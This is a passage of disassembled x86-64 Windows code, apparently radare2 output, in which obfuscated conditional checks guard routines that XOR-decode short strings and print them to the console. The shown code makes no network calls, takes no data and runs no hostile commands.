cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si r10d, xmm0
jmp 0x14000f984
mov r10d, dword [rsp + 0x78]
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*2]
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, r10d
test eax, eax
je 0x140010c48
call qword [sym.imp.KERNEL32.dll_AllocConsole]
mov ecx, r13d
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rdi, rax
mov byte [rbp - 0x47], bl
lea rdx, [rbp]
lea rcx, [rbp - 0x47]
call fcn.140002c80
mov rbx, rax
movzx ecx, byte [rax + 1]
test cl, cl
je 0x14000fa05
xor byte [rax], 0x39
xor cl, 0x3a
mov byte [rax + 1], cl
mov byte [rbp - 0x46], r12b
lea rdx, [rbp + 0x40]
lea rcx, [rbp - 0x46]
call fcn.140002b20
mov r10, rax
mov r15d, dword [0x14001a010]
cmp byte [rax + 7], r12b
je 0x14000fb70
cmp r15d, 2
jl 0x14000fb2e
movdqa xmm4, xmmword [0x140013b70]
movdqa xmm2, xmmword [0x140013b10]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140013b30]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140013b50]
packuswb xmm2, xmm2
mov eax, dword [0x140013b60]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x140013b20]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140013b30]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140013b50]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
jmp 0x14000fb70
mov r9, r10
mov r8d, r12d
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14000fb40
mov r9, rdi
mov r8, rbx
mov rdx, r10
lea rcx, [rbp + 0x210]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_freopen_s]
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14001012d
mov rax, r12
cmp qword [rbp + 0x268], rax
setne al
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x68], xmm1
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*8]
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000fc8d
call fcn.140005500
movsx edx, al
movsx eax, byte [0x14001a340]
imul edx, eax
shl edx, 2
call fcn.140005530
movsx ecx, al
sub edx, ecx
call fcn.140005510
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000fc8d
mov r9d, r14d
jmp 0x14000fd25
call fcn.1400054f0
movsx r9d, al
call fcn.1400054e0
movsx ecx, al
imul r9d, ecx
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000fd20
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si r9d, xmm0
jmp 0x14000fd25
mov r9d, dword [rsp + 0x78]
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.140005520
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, r9d
test eax, eax
je 0x14001012d
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov byte [rbp - 0x60], r12b
lea rdx, [rbp + 0x108]
lea rcx, [rbp - 0x60]
call fcn.140002de0
mov r9, rax
cmp byte [rax + 0x1e], r12b
je 0x14000ff0c
mov ecx, r12d
cmp r15d, 2
jl 0x14000fed4
movdqa xmm5, xmmword [0x140013b10]
movdqa xmm4, xmmword [0x140013b70]
movdqa xmm6, xmmword [0x140013b30]
movdqa xmm0, xmmword [0x140013b60]
movdqa xmmword [rsp + 0x50], xmm0
mov rdx, rax
mov r8d, dword [rsp + 0x50]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140013b50]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140013b50]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x18
jl 0x14000fdd2
cmp ecx, 0x1f
jge 0x14000ff0c
movsxd r8, ecx
add r8, r9
nop word [rax + rax]
mov eax, 0x5397829d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x31
movzx eax, cl
sub al, dl
add al, 0x39
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x1f
jl 0x14000fee0
mov rdx, r9
mov rcx, rbx
call fcn.140001010
lea rdx, [rbp + 0x258]
cmp qword [rbp + 0x270], 0xf
cmova rdx, qword [rbp + 0x258]
mov r8, qword [rbp + 0x268]
mov rcx, rax
call fcn.140001270
lea rdx, [0x140001760]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov byte [rbp - 0x5f], r12b
lea rdx, [rbp + 0x88]
lea rcx, [rbp - 0x5f]
call fcn.140002f70
mov r9, rax
cmp byte [rax + 0x10], r12b
je 0x1400100ec
mov ecx, r12d
cmp r15d, 2
jl 0x1400100b2
movdqa xmm5, xmmword [0x140013b10]
movdqa xmm4, xmmword [0x140013b70]
movdqa xmm6, xmmword [0x140013b30]
movdqa xmm0, xmmword [0x140013b60]
movdqa xmmword [rsp + 0x50], xmm0
mov rdx, rax
mov r8d, dword [rsp + 0x50]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140013b50]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140013b50]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x14000ffb0
cmp ecx, 0x11
jge 0x1400100ec
movsxd r8, ecx
add r8, r9
nop dword [rax + rax]
mov eax, 0x5397829d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x31
movzx eax, cl
sub al, dl
add al, 0x39
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x11
jl 0x1400100c0
mov rdx, r9
mov rcx, rbx
call fcn.140001010
lea rdx, [rbp + 0x238]
cmp qword [rbp + 0x250], 0xf
cmova rdx, qword [rbp + 0x238]
mov r8, qword [rbp + 0x248]
mov rcx, rax
call fcn.140001270
lea rdx, [0x140001760]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
call fcn.140005520
movsx ecx, al
lea eax, [rcx + rdx*8]
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x1400104c7
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movd xmm0, esi
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*8]
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140010223
call fcn.140005500
movsx edx, al
movsx eax, byte [0x14001a340]
imul edx, eax
shl edx, 2
call fcn.140005530
movsx ecx, al
sub edx, ecx
call fcn.140005510
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x140010223
mov r10d, r14d
jmp 0x1400102bb
call fcn.1400054f0
movsx r9d, al
call fcn.1400054e0
movsx ecx, al
imul r9d, ecx
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x1400102b6
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si r10d, xmm0
jmp 0x1400102bb
mov r10d, dword [rsp + 0x78]
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*2]
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, r10d
test eax, eax
je 0x1400104c7
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov byte [rbp - 0x5e], r12b
lea rdx, [rbp + 0xb8]
lea rcx, [rbp - 0x5e]
call fcn.140003550
mov r9, rax
cmp byte [rax + 0x13], r12b
je 0x1400104ac
mov ecx, r12d
cmp r15d, 2
jl 0x140010472
movdqa xmm5, xmmword [0x140013b10]
movdqa xmm4, xmmword [0x140013b70]
movdqa xmm6, xmmword [0x140013b30]
movdqa xmm0, xmmword [0x140013b60]
movdqa xmmword [rsp + 0x50], xmm0
mov rdx, rax
mov r8d, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140013b50]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140013b50]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x140010370
cmp ecx, 0x14
jge 0x1400104ac
movsxd r8, ecx
add r8, r9
nop dword [rax + rax]
mov eax, 0x5397829d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x31
movzx eax, cl
sub al, dl
add al, 0x39
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x14
jl 0x140010480
mov rdx, r9
mov rcx, rbx
call fcn.140001010
lea rdx, [0x140001760]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140010869
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movzx esi, byte [rsp + 0x40]
movd xmm0, esi
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*8]
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x1400105c6
call fcn.140005500
movsx edx, al
movsx eax, byte [0x14001a340]
imul edx, eax
shl edx, 2
call fcn.140005530
movsx ecx, al
sub edx, ecx
call fcn.140005510
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x1400105c6
mov r9d, r14d
jmp 0x14001065e
call fcn.1400054f0
movsx r9d, al
call fcn.1400054e0
movsx ecx, al
imul r9d, ecx
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140010659
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si r9d, xmm0
jmp 0x14001065e
mov r9d, dword [rsp + 0x78]
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.140005520
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, r9d
test eax, eax
je 0x14001086e
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov byte [rbp - 0x5d], r12b
lea rdx, [rbp + 0xe8]
lea rcx, [rbp - 0x5d]
call fcn.1400036b0
mov r9, rax
cmp byte [rax + 0x1c], r12b
je 0x14001084c
mov ecx, r12d
cmp r15d, 2
jl 0x140010812
movdqa xmm5, xmmword [0x140013b10]
movdqa xmm4, xmmword [0x140013b70]
movdqa xmm6, xmmword [0x140013b30]
movdqa xmm0, xmmword [0x140013b60]
movdqa xmmword [rsp + 0x50], xmm0
mov rdx, rax
mov r8d, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140013b50]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140013b50]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x18
jl 0x140010710
cmp ecx, 0x1d
jge 0x14001084c
movsxd r8, ecx
add r8, r9
nop dword [rax + rax]
mov eax, 0x5397829d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x31
movzx eax, cl
sub al, dl
add al, 0x39
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x1d
jl 0x140010820
mov rdx, r9
mov rcx, rbx
call fcn.140001010
lea rdx, [0x140001760]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x14001086e
movzx esi, byte [rsp + 0x40]
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
call fcn.140005520
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
mov ebx, r13d
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140010c4d
mov rax, r12
cmp qword [rbp + 0x228], rax
setne al
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x68], xmm1
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*8]
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140010974
call fcn.140005500
movsx edx, al
movsx eax, byte [0x14001a340]
imul edx, eax
shl edx, 2
call fcn.140005530
movsx ecx, al
sub edx, ecx
call fcn.140005510
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x140010974
mov r10d, r14d
jmp 0x140010a0c
call fcn.1400054f0
movsx r9d, al
call fcn.1400054e0
movsx ecx, al
imul r9d, ecx
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140010a07
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si r10d, xmm0
jmp 0x140010a0c
mov r10d, dword [rsp + 0x78]
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
imul r9d, edx, 7
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, r10d
test eax, eax
je 0x140010c4d
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov byte [rbp - 0x5c], r12b
lea rdx, [rbp + 0xd0]
lea rcx, [rbp - 0x5c]
call fcn.140003830
mov r11, rax
cmp byte [rax + 0x17], r12b
je 0x140010c02
cmp r15d, 2
jl 0x140010bbf
movdqa xmm5, xmmword [0x140013b10]
mov edx, r12d
movdqa xmm4, xmmword [0x140013b70]
movdqa xmm6, xmmword [0x140013b30]
movdqa xmm0, xmmword [0x140013b60]
movdqa xmmword [rsp + 0x50], xmm0
mov rcx, rax
mov r8d, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140013b50]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140013b50]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x18
jl 0x140010ac0
jmp 0x140010c02
mov r10, r11
mov r9d, r12d
nop word [rax + rax]
mov eax, 0x5397829d
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
